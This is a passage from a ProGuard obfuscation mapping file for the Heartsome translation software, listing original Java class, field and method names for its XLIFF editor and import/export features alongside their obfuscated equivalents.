access$8(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog,java.lang.String) -> b +net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1 -> net.heartsome.cat.ts.ui.docx.dialog.aj: + net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog this$0 -> anI + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog access$0(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1) -> a +net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1$1 -> net.heartsome.cat.ts.ui.docx.dialog.ak: + net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1 this$1 -> anJ + void create() -> create +net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1$2 -> net.heartsome.cat.ts.ui.docx.dialog.al: + net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$1 this$1 -> anJ + boolean select(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> select +net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog$2 -> net.heartsome.cat.ts.ui.docx.dialog.am: + net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog this$0 -> anI + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.handler.AbstractExportHandler -> net.heartsome.cat.ts.ui.docx.handler.c: + java.lang.String XLF -> anK + java.util.Set fileSet -> anL + net.heartsome.cat.ts.ui.external.ExportConfig config -> anC + boolean initExportConfig(org.eclipse.core.commands.ExecutionEvent) -> b + void traversalFile(org.eclipse.core.resources.IFolder) -> a + void addXLFFile(org.eclipse.core.resources.IFile) -> i + net.heartsome.cat.ts.core.bean.XliffBean getXlfBean(org.eclipse.core.resources.IFile) -> j +net.heartsome.cat.ts.ui.docx.handler.ExportDocxHandler -> net.heartsome.cat.ts.ui.docx.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.docx.handler.ExportExternalHandler -> net.heartsome.cat.ts.ui.docx.handler.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.docx.handler.ExportExternalHandler$1 -> net.heartsome.cat.ts.ui.docx.handler.e: + net.heartsome.cat.ts.ui.docx.handler.ExportExternalHandler this$0 -> anM + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.docx.handler.ImportDocxHandler -> net.heartsome.cat.ts.ui.docx.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.docx.handler.ImportExternal -> net.heartsome.cat.ts.ui.docx.handler.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.docx.resource.Messages -> net.heartsome.cat.ts.ui.docx.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.editors.HtmlBrowserEditor -> net.heartsome.cat.ts.ui.editors.HtmlBrowserEditor: + org.eclipse.jface.viewers.ISelectionProvider provider -> EC + org.eclipse.swt.graphics.Image titleImage -> ED + org.eclipse.swt.browser.Browser browser -> browser + java.lang.String htmlUrl -> EE + org.eclipse.swt.widgets.Composite cmp -> EF + void doSave(org.eclipse.core.runtime.IProgressMonitor) -> doSave + void doSaveAs() -> doSaveAs + void init(org.eclipse.ui.IEditorSite,org.eclipse.ui.IEditorInput) -> init + boolean isDirty() -> isDirty + boolean isSaveAsAllowed() -> isSaveAsAllowed + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void setFocus() -> setFocus + void dispose() -> dispose +net.heartsome.cat.ts.ui.editors.HtmlBrowserEditor$1 -> net.heartsome.cat.ts.ui.editors.HtmlBrowserEditor$1: + net.heartsome.cat.ts.ui.editors.HtmlBrowserEditor this$0 -> EG + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown +net.heartsome.cat.ts.ui.editors.IHSEditor -> net.heartsome.cat.ts.ui.editors.IHSEditor: + void changeData(java.lang.String) -> changeData + net.heartsome.cat.ts.core.bean.TransUnitBean getSelectTransUnitBean() -> getSelectTransUnitBean + void changeModel() -> changeModel + void setModel(int) -> setModel +net.heartsome.cat.ts.ui.editors.IXliffEditor -> net.heartsome.cat.ts.ui.editors.IXliffEditor: + void updateCell(int,int,java.lang.String,java.lang.String,java.lang.String) -> updateCell + void updateCells(int[],int,java.lang.String) -> updateCells + int getSrcColumnIndex() -> getSrcColumnIndex + int getTgtColumnIndex() -> getTgtColumnIndex + void changeLayout() -> changeLayout + void changeLayout(boolean) -> changeLayout + void setFocus() -> setFocus + void refresh() -> refresh + int[] getSelectedRows() -> getSelectedRows + net.heartsome.cat.ts.core.file.XLFHandler getXLFHandler() -> getXLFHandler + org.eclipse.ui.IWorkbenchPartSite getSite() -> getSite + void autoResize() -> autoResize + void autoResizeNotColumn() -> autoResizeNotColumn + void resetOrder() -> resetOrder + void jumpToRow(int,boolean) -> jumpToRow + void insertCell(int,int,java.lang.String) -> insertCell + void setStore(boolean) -> setStore + java.lang.String getSelectPureText() -> getSelectPureText + java.lang.String getSrcColumnName() -> getSrcColumnName + java.lang.String getTgtColumnName() -> getTgtColumnName + void getSelectSrcOrTgtPureText(java.lang.StringBuffer,java.lang.StringBuffer) -> getSelectSrcOrTgtPureText + java.util.List getSelectedRowIds() -> getSelectedRowIds + boolean isMultiFile() -> isMultiFile + java.util.List getMultiFileList() -> getMultiFileList + net.heartsome.cat.ts.core.bean.TransUnitBean getRowTransUnitBean(int) -> getRowTransUnitBean + void affterFuzzyMatchApplayTarget(int,java.lang.String,java.lang.String,java.lang.String) -> affterFuzzyMatchApplayTarget + void highlightedTerms(int,java.util.List) -> highlightedTerms + void refreshWithNonprinttingCharacter(boolean) -> refreshWithNonprinttingCharacter +net.heartsome.cat.ts.ui.editors.SelectionProviderAdapter -> net.heartsome.cat.ts.ui.editors.SelectionProviderAdapter: + java.util.List listeners -> listeners + org.eclipse.jface.viewers.ISelection theSelection -> EH + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection +net.heartsome.cat.ts.ui.editors.SelectionProviderAdapter$1 -> net.heartsome.cat.ts.ui.editors.SelectionProviderAdapter$1: + net.heartsome.cat.ts.ui.editors.SelectionProviderAdapter this$0 -> EI + org.eclipse.jface.viewers.ISelectionChangedListener val$l -> EJ + org.eclipse.jface.viewers.SelectionChangedEvent val$e -> EK + void run() -> run +net.heartsome.cat.ts.ui.editors.XLFEditor -> net.heartsome.cat.ts.ui.editors.XLFEditor: + int ROWSOFPAGE -> EL + int STATUS_FLAG_HEIGHT -> EM + int STATUS_FLAG_WIDTH -> EN + int COLUMN_INDEX_WIDTH -> EO + int MINIMUM_ROW_HEIGHT -> EP + java.lang.String ID -> ID + org.slf4j.Logger LOGGER -> LOGGER + boolean canEditSource -> canEditSource + boolean isEditModel -> isEditModel + boolean isHLayoutModel -> isHLayoutModel + org.eclipse.swt.graphics.Image titleImage -> ED + boolean isDirty -> isDirty + org.eclipse.swt.widgets.Label[] lblColumnHeader -> EQ + org.eclipse.swt.widgets.Slider editorVBar -> ER + org.eclipse.swt.widgets.Composite colHeaderComposite -> ES + org.eclipse.swt.widgets.Combo cmbFilter -> ET + org.eclipse.swt.widgets.Text txtIndex -> EU + org.eclipse.swt.widgets.Label[] lblRowIndexs -> EV + org.eclipse.swt.widgets.Composite[] txtComposites -> EW + org.eclipse.swt.widgets.Composite[] statusComposites -> EX + org.eclipse.swt.widgets.Composite bottomComposite -> EY + boolean layoutLock -> EZ + org.eclipse.swt.custom.ScrolledComposite oScrolledComposite -> Fa + int HEIGHT_SPACE -> Fb + int WIDTH_SPACE -> Fc + java.lang.String DATAKEY_INDEX -> Fd + java.lang.String DATAKEY_FOREGROUND -> Fe + java.lang.String DATAKEY_BACKGROUND -> Ff + org.eclipse.swt.graphics.Color selectedBgColor -> Fg + org.eclipse.swt.widgets.Composite[] tgtComposites -> Fh + org.eclipse.swt.widgets.Composite editorContentComposite -> Fi + org.eclipse.swt.events.MouseListener mouseListener -> Fj + org.eclipse.swt.events.KeyListener keyListener -> Fk + org.eclipse.swt.graphics.Cursor cursorArrow -> DF + org.eclipse.swt.graphics.Cursor cursorIbeam -> Fl + org.eclipse.swt.events.ModifyListener textModifyListener -> Fm + org.eclipse.swt.events.MouseTrackListener mouseTrackListener -> Fn + int lastSelectedIndex -> Fo + org.eclipse.swt.graphics.Color selectedFgColor -> Fp + void doSave(org.eclipse.core.runtime.IProgressMonitor) -> doSave + void doSaveAs() -> doSaveAs + void init(org.eclipse.ui.IEditorSite,org.eclipse.ui.IEditorInput) -> init + org.eclipse.swt.custom.StyledText[] getTextWidgets(org.eclipse.swt.widgets.Composite) -> t + void setSelectionRowColor(int) -> t + void hookListener() -> gS + boolean isDirty() -> isDirty + boolean isSaveAsAllowed() -> isSaveAsAllowed + void initFilterData() -> gT + void createFilterPart(org.eclipse.swt.widgets.Composite) -> u + void createEditorPart(org.eclipse.swt.widgets.Composite) -> v + void refreshContent(java.util.List,int) -> a + void layout() -> layout + void setEditorLayout() -> gU + void createTableHeader(org.eclipse.swt.widgets.Composite) -> w + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void initColors(org.eclipse.swt.widgets.Composite) -> x + void setFocus() -> setFocus + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection + java.util.List getModel(int) -> u + void dispose() -> dispose + org.eclipse.swt.widgets.Composite access$0(net.heartsome.cat.ts.ui.editors.XLFEditor) -> a + org.eclipse.swt.custom.ScrolledComposite access$1(net.heartsome.cat.ts.ui.editors.XLFEditor) -> b + org.eclipse.swt.graphics.Cursor access$2(net.heartsome.cat.ts.ui.editors.XLFEditor) -> c + org.eclipse.swt.graphics.Cursor access$3(net.heartsome.cat.ts.ui.editors.XLFEditor) -> d + void access$4(net.heartsome.cat.ts.ui.editors.XLFEditor,int) -> a + org.eclipse.swt.widgets.Composite[] access$5(net.heartsome.cat.ts.ui.editors.XLFEditor) -> e + org.eclipse.swt.widgets.Slider access$6(net.heartsome.cat.ts.ui.editors.XLFEditor) -> f +net.heartsome.cat.ts.ui.editors.XLFEditor$1 -> net.heartsome.cat.ts.ui.editors.XLFEditor$1: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.editors.XLFEditor$2 -> net.heartsome.cat.ts.ui.editors.XLFEditor$2: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + void setArrowCursor(org.eclipse.swt.events.MouseEvent) -> a + void mouseEnter(org.eclipse.swt.events.MouseEvent) -> mouseEnter + void mouseExit(org.eclipse.swt.events.MouseEvent) -> mouseExit + void mouseHover(org.eclipse.swt.events.MouseEvent) -> mouseHover +net.heartsome.cat.ts.ui.editors.XLFEditor$3 -> net.heartsome.cat.ts.ui.editors.XLFEditor$3: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp +net.heartsome.cat.ts.ui.editors.XLFEditor$4 -> net.heartsome.cat.ts.ui.editors.XLFEditor$4: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased +net.heartsome.cat.ts.ui.editors.XLFEditor$5 -> net.heartsome.cat.ts.ui.editors.XLFEditor$5: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.editors.XLFEditor$6 -> net.heartsome.cat.ts.ui.editors.XLFEditor$6: + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + java.util.List val$models -> cs + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.editors.XLFEditor$SimpleModel -> net.heartsome.cat.ts.ui.editors.XLFEditor$SimpleModel: + java.lang.String id -> id + java.lang.String srcText -> fO + java.lang.String targetText -> targetText + net.heartsome.cat.ts.ui.editors.XLFEditor this$0 -> Fq + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + java.lang.String getTargetText() -> getTargetText + void setTargetText(java.lang.String) -> setTargetText +net.heartsome.cat.ts.ui.editors.XLIFFEditor -> net.heartsome.cat.ts.ui.editors.XLIFFEditor: + java.lang.String ID -> ID + org.slf4j.Logger LOGGER -> LOGGER + java.util.Vector allVector -> Fr + org.eclipse.jface.action.StatusLineContributionItem statusItem -> Fs + org.eclipse.jface.action.IStatusLineManager statusLineManager -> Ft + java.lang.String fileName -> fileName + org.eclipse.jface.viewers.ISelectionProvider provider -> EC + org.eclipse.swt.graphics.Image titleImage -> ED + void init(org.eclipse.ui.IEditorSite,org.eclipse.ui.IEditorInput) -> init + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + net.heartsome.cat.ts.core.bean.TransUnitBean getSelectTransUnitBean() -> getSelectTransUnitBean + void doSave(org.eclipse.core.runtime.IProgressMonitor) -> doSave + boolean isSaveAsAllowed() -> isSaveAsAllowed + void doSaveAs() -> doSaveAs + boolean isDirty() -> isDirty + void setFocus() -> setFocus + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection + void changeData(java.lang.String) -> changeData + void changeModel() -> changeModel + void dispose() -> dispose + void setModel(int) -> setModel +net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage -> net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage: + net.heartsome.cat.common.locale.Language projSourceLang -> Fu + java.lang.String pageType -> gh + java.util.List getSelectedDatabase() -> getSelectedDatabase + java.lang.String getPageType() -> getPageType + void setProjSourceLang(net.heartsome.cat.common.locale.Language) -> setProjSourceLang +net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage -> net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage: + net.heartsome.cat.common.bean.ProjectInfoBean projectInfoBean -> Fv + java.lang.String pageType -> gh + void setProjectInfoBean(net.heartsome.cat.common.bean.ProjectInfoBean) -> setProjectInfoBean + net.heartsome.cat.common.bean.ProjectInfoBean getProjectInfoBean() -> getProjectInfoBean + java.lang.String getPageType() -> getPageType +net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller -> net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller: + void openConverter(java.util.List) -> openConverter +net.heartsome.cat.ts.ui.external.ExportCanceledException -> net.heartsome.cat.ts.ui.external.a: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.ts.ui.external.ExportConfig -> net.heartsome.cat.ts.ui.external.b: + org.slf4j.Logger LOGGER -> LOGGER + int exportType -> anN + boolean hsProofState -> anO + boolean hsProofNote -> anP + boolean filterAllTrans -> anQ + boolean filterSpecial -> anR + boolean filterHasState -> anS + boolean exceptLocked -> anT + boolean exceptFullMatch -> anU + boolean exceptContextMatch -> anV + boolean withNote -> anW + boolean withNeedReview -> anX + boolean noTrans -> anY + boolean newTrans -> anZ + boolean transed -> aoa + boolean approved -> abG + java.lang.String saveAsFolder -> aob + java.util.List projects -> aoc + java.util.Map mapXlfBeans -> aod + java.util.Map mapSaveAs -> aoe + java.util.Set setSaveAs -> aof + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + org.eclipse.swt.widgets.Shell shell -> shell + void addXlfBean(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.core.bean.XliffBean) -> a + java.lang.String getSaveas() -> oI + void setSaveas(java.lang.String) -> fz + java.util.List getXlfBean(org.eclipse.core.resources.IProject) -> e + java.util.List getProjects() -> oJ + void setProjects(java.util.List) -> R + int getExportType() -> oK + void setExportType(int) -> aq + boolean isHsProofState() -> oL + void setHsProofState(boolean) -> Z + boolean isHsProofNote() -> oM + void setHsProofNote(boolean) -> aa + boolean isFilterAllTrans() -> oN + void setFilterAllTrans(boolean) -> ab + boolean isFilterSpecial() -> oO + void setFilterSpecial(boolean) -> ac + boolean isFilterHasState() -> oP + void setFilterHasState(boolean) -> ad + boolean isNotLocked() -> oQ + void setNotLocked(boolean) -> ae + boolean isNotFullMatch() -> oR + void setNotFullMatch(boolean) -> af + boolean isNotContextMatch() -> oS + void setNotContextMatch(boolean) -> ag + boolean isWithNote() -> oT + void setWithNote(boolean) -> ah + boolean isWithNeedReview() -> oU + void setWithNeedReview(boolean) -> ai + boolean isNoTrans() -> oV + void setNoTrans(boolean) -> aj + boolean isNewTrans() -> oW + void setNewTrans(boolean) -> ak + boolean isTransed() -> oX + void setTransed(boolean) -> al + boolean isApprove() -> oY + void setApprove(boolean) -> am + org.eclipse.core.runtime.IProgressMonitor getMonitor() -> getMonitor + void setMonitor(org.eclipse.core.runtime.IProgressMonitor) -> w + org.eclipse.swt.widgets.Shell getShell() -> getShell + void setShell(org.eclipse.swt.widgets.Shell) -> setShell + void doExport() -> oZ + void saveAsCheckerUnclean() -> pa + void saveAsChecker() -> pb + void transunitLooper(net.heartsome.cat.ts.ui.external.ExportConfig$ExportWriter) -> a + void openErrorDialog(java.lang.Throwable) -> b + boolean openErrorDialog(java.lang.String) -> fA + java.lang.String strippedName(java.lang.String,java.lang.String) -> ae + boolean testXpath(com.ximpleware.AutoPilot,java.lang.String) -> a + java.util.Map access$0(net.heartsome.cat.ts.ui.external.ExportConfig) -> a + org.slf4j.Logger access$1() -> bY + java.lang.String access$2(net.heartsome.cat.ts.ui.external.ExportConfig) -> b + boolean access$3(net.heartsome.cat.ts.ui.external.ExportConfig) -> c + boolean access$4(net.heartsome.cat.ts.ui.external.ExportConfig) -> d + boolean access$5(net.heartsome.cat.ts.ui.external.ExportConfig) -> e + boolean access$6(net.heartsome.cat.ts.ui.external.ExportConfig) -> f + boolean access$7(net.heartsome.cat.ts.ui.external.ExportConfig) -> g + boolean access$8(net.heartsome.cat.ts.ui.external.ExportConfig) -> h + boolean access$9(net.heartsome.cat.ts.ui.external.ExportConfig) -> i + boolean access$10(net.heartsome.cat.ts.ui.external.ExportConfig) -> j + boolean access$11(net.heartsome.cat.ts.ui.external.ExportConfig) -> k + boolean access$12(net.heartsome.cat.ts.ui.external.ExportConfig) -> l + boolean access$13(net.heartsome.cat.ts.ui.external.ExportConfig) -> m + boolean access$14(net.heartsome.cat.ts.ui.external.ExportConfig) -> n + org.eclipse.swt.widgets.Shell access$15(net.heartsome.cat.ts.ui.external.ExportConfig) -> o +net.heartsome.cat.ts.ui.external.ExportConfig$1 -> net.heartsome.cat.ts.ui.external.c: + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + java.lang.Throwable val$e -> aoh + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$2 -> net.heartsome.cat.ts.ui.external.d: + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof -> net.heartsome.cat.ts.ui.external.e: + java.lang.String strXliffFullPath -> Tz + boolean commentSelection -> aoi + boolean statusSelection -> aoj + com.ximpleware.AutoPilot otherAP -> mn + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + void okPressed(java.util.List) -> S + org.eclipse.swt.widgets.Shell getShell() -> getShell + void beginExport(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,boolean,boolean,java.lang.String) -> a + void getComments(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.ui.docx.common.TUBean) -> a + void access$0(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof,java.lang.String) -> a + boolean access$1(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof) -> a + boolean access$2(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof) -> b + void access$3(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof,org.eclipse.core.runtime.IProgressMonitor,java.lang.String,boolean,boolean,java.lang.String) -> a + org.eclipse.swt.widgets.Shell access$4(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof) -> c + net.heartsome.cat.ts.ui.external.ExportConfig access$5(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof) -> d +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$1 -> net.heartsome.cat.ts.ui.external.f: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof this$1 -> aok + java.util.List val$xlfBeanList -> aol + java.lang.String val$finalExpandXpath -> TP + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof access$0(net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$1) -> a +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$1$1 -> net.heartsome.cat.ts.ui.external.g: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$1 this$2 -> aom + java.lang.Exception val$e -> TR + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$2 -> net.heartsome.cat.ts.ui.external.h: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof this$1 -> aok + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$3 -> net.heartsome.cat.ts.ui.external.i: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof this$1 -> aok + java.lang.String val$parseErrorTip -> TS + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$4 -> net.heartsome.cat.ts.ui.external.j: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof this$1 -> aok + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof$5 -> net.heartsome.cat.ts.ui.external.k: + net.heartsome.cat.ts.ui.external.ExportConfig$ExportHsproof this$1 -> aok + void run() -> run +net.heartsome.cat.ts.ui.external.ExportConfig$ExportWriter -> net.heartsome.cat.ts.ui.external.l: + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + void init(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.core.bean.XliffBean) -> b + void close() -> close + void append(net.heartsome.xml.vtdimpl.VTDUtils,int,int) -> a + void flush() -> flush + void canceled() -> pc +net.heartsome.cat.ts.ui.external.ExportConfig$TmxExporter -> net.heartsome.cat.ts.ui.external.m: + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + java.lang.String saveFile -> aon + java.util.Map mapWriter -> aoo + java.lang.String saveAsFile -> aop + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + void init(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.core.bean.XliffBean) -> b + void append(net.heartsome.xml.vtdimpl.VTDUtils,int,int) -> a + void flush() -> flush + void close() -> close + void canceled() -> pc + void writeHeader() -> writeHeader + java.lang.String creationDate() -> creationDate +net.heartsome.cat.ts.ui.external.ExportConfig$UncleanExporter -> net.heartsome.cat.ts.ui.external.n: + int calibration -> aoq + java.lang.String fldCharBegin -> aor + java.lang.String fldCharSeparate -> aos + java.lang.String fldCharEnd -> aot + java.lang.String tw4winMark -> kT + java.lang.String hsrow -> aou + java.lang.String noProof -> aov + java.lang.String templateDocxFile -> aow + java.lang.String tmpUnzipFolder -> aox + java.lang.String doc_end_fragment -> aoy + java.lang.String saveAsFile -> aop + java.io.FileWriter docxmlWriter -> aoz + net.heartsome.cat.ts.ui.docx.common.TagsResolver tr -> aoA + net.heartsome.cat.ts.ui.external.ExportConfig this$0 -> aog + void init(org.eclipse.core.resources.IProject,net.heartsome.cat.ts.core.bean.XliffBean) -> b + void append(net.heartsome.xml.vtdimpl.VTDUtils,int,int) -> a + void flush() -> flush + void canceled() -> pc + java.lang.String encodeTgtContent(java.lang.String) -> fB + java.lang.String encodeSrcContent(java.lang.String) -> fC + void addSDLStyle() -> pd + void writeDocumentxml(net.heartsome.cat.ts.core.bean.XliffBean) -> a + void deleteTmpFiles() -> pe + void deleteTmpFiles(java.io.File) -> k +net.heartsome.cat.ts.ui.external.ExportExternal -> net.heartsome.cat.ts.ui.external.o: + java.lang.String NAMESPACE_HS -> aoB + java.lang.String NAMESPACE_W -> aoC + int EXPORT_HSPROOF -> aoD + int EXPORT_SDLUNCLEAN -> aoE + int EXPORT_TMX -> aoF + int EXPORT_SDLXLIFF -> aoG + int CONFIRM_YES -> aoH + int CONFIRM_YESTOALL -> aoI + int CONFIRM_NO -> aoJ + int CONFIRM_NOTOALL -> aoK + java.lang.String TEMPLATE_DOCX -> aoL + java.util.LinkedHashMap exportSets -> aoM + com.ximpleware.VTDGen vg -> adH + java.lang.String[] getExportTypes() -> pf + int getExportTypeCode(int) -> ar + java.lang.String decodeXml(java.lang.String) -> fD + void openErrorDialog(org.eclipse.swt.widgets.Shell,java.lang.Throwable) -> a + boolean openErrorDialog(org.eclipse.swt.widgets.Shell,java.lang.String) -> a + int openConfirmDialog(org.eclipse.swt.widgets.Shell,java.lang.String) -> b +net.heartsome.cat.ts.ui.external.ExportExternal$1 -> net.heartsome.cat.ts.ui.external.p: + org.eclipse.swt.widgets.Shell val$shell -> ct + java.lang.Throwable val$e -> aoh + void run() -> run +net.heartsome.cat.ts.ui.external.ExportExternal$2 -> net.heartsome.cat.ts.ui.external.q: + org.eclipse.swt.widgets.Shell val$shell -> ct + java.lang.String val$message -> cv + void run() -> run +net.heartsome.cat.ts.ui.external.ExportExternal$3 -> net.heartsome.cat.ts.ui.external.r: + org.eclipse.swt.widgets.Shell val$shell -> ct + java.lang.String val$message -> cv + int[] val$bools -> aoN + void run() -> run +net.heartsome.cat.ts.ui.external.ExportExternalException -> net.heartsome.cat.ts.ui.external.s: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.ts.ui.external.ImportConfig -> net.heartsome.cat.ts.ui.external.t: + org.slf4j.Logger LOGGER -> LOGGER + int importType -> aoO + java.lang.String xliffFile -> dN + java.lang.String externalFile -> aoP + java.lang.String _xliff -> aoQ + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + net.heartsome.cat.ts.ui.external.ImportConfig$MonitorRunner runner -> aoR + java.util.List exportReporter -> aoS + java.lang.String getXliffFile() -> getXliffFile + void setXliffFile(java.lang.String) -> setXliffFile + java.lang.String getExternalFile() -> pg + void setExternalFile(java.lang.String) -> fE + int getImportType() -> ph + void setImportType(int) -> as + org.eclipse.swt.widgets.Shell getShell() -> getShell + void setShell(org.eclipse.swt.widgets.Shell) -> setShell + org.eclipse.core.runtime.IProgressMonitor getMonitor() -> getMonitor + void setMonitor(org.eclipse.core.runtime.IProgressMonitor) -> w + java.lang.String get_xliff() -> pi + void set_xliff(java.lang.String) -> fF + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable getXliffEditor() -> fo + void setXliffEditor(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> a + void doImport() -> if + void printVN(com.ximpleware.VTDNav,boolean) -> a + void openErrorDialog(java.lang.Throwable) -> b + boolean openErrorDialog(java.lang.String) -> fA + boolean openConfirmDialog(java.lang.String) -> fG + boolean openErrorTipsDialog() -> pj + java.lang.String access$0(net.heartsome.cat.ts.ui.external.ImportConfig) -> a + java.util.List access$1(net.heartsome.cat.ts.ui.external.ImportConfig) -> b + void access$2(net.heartsome.cat.ts.ui.external.ImportConfig,java.util.List) -> a + net.heartsome.cat.ts.ui.external.ImportConfig$MonitorRunner access$3(net.heartsome.cat.ts.ui.external.ImportConfig) -> c + org.slf4j.Logger access$4() -> pk + java.lang.String access$5(net.heartsome.cat.ts.ui.external.ImportConfig) -> d + java.lang.String access$6(net.heartsome.cat.ts.ui.external.ImportConfig) -> e + org.eclipse.core.runtime.IProgressMonitor access$7(net.heartsome.cat.ts.ui.external.ImportConfig) -> f + void access$8(net.heartsome.cat.ts.ui.external.ImportConfig,org.eclipse.core.runtime.IProgressMonitor) -> a + org.eclipse.swt.widgets.Shell access$9(net.heartsome.cat.ts.ui.external.ImportConfig) -> g 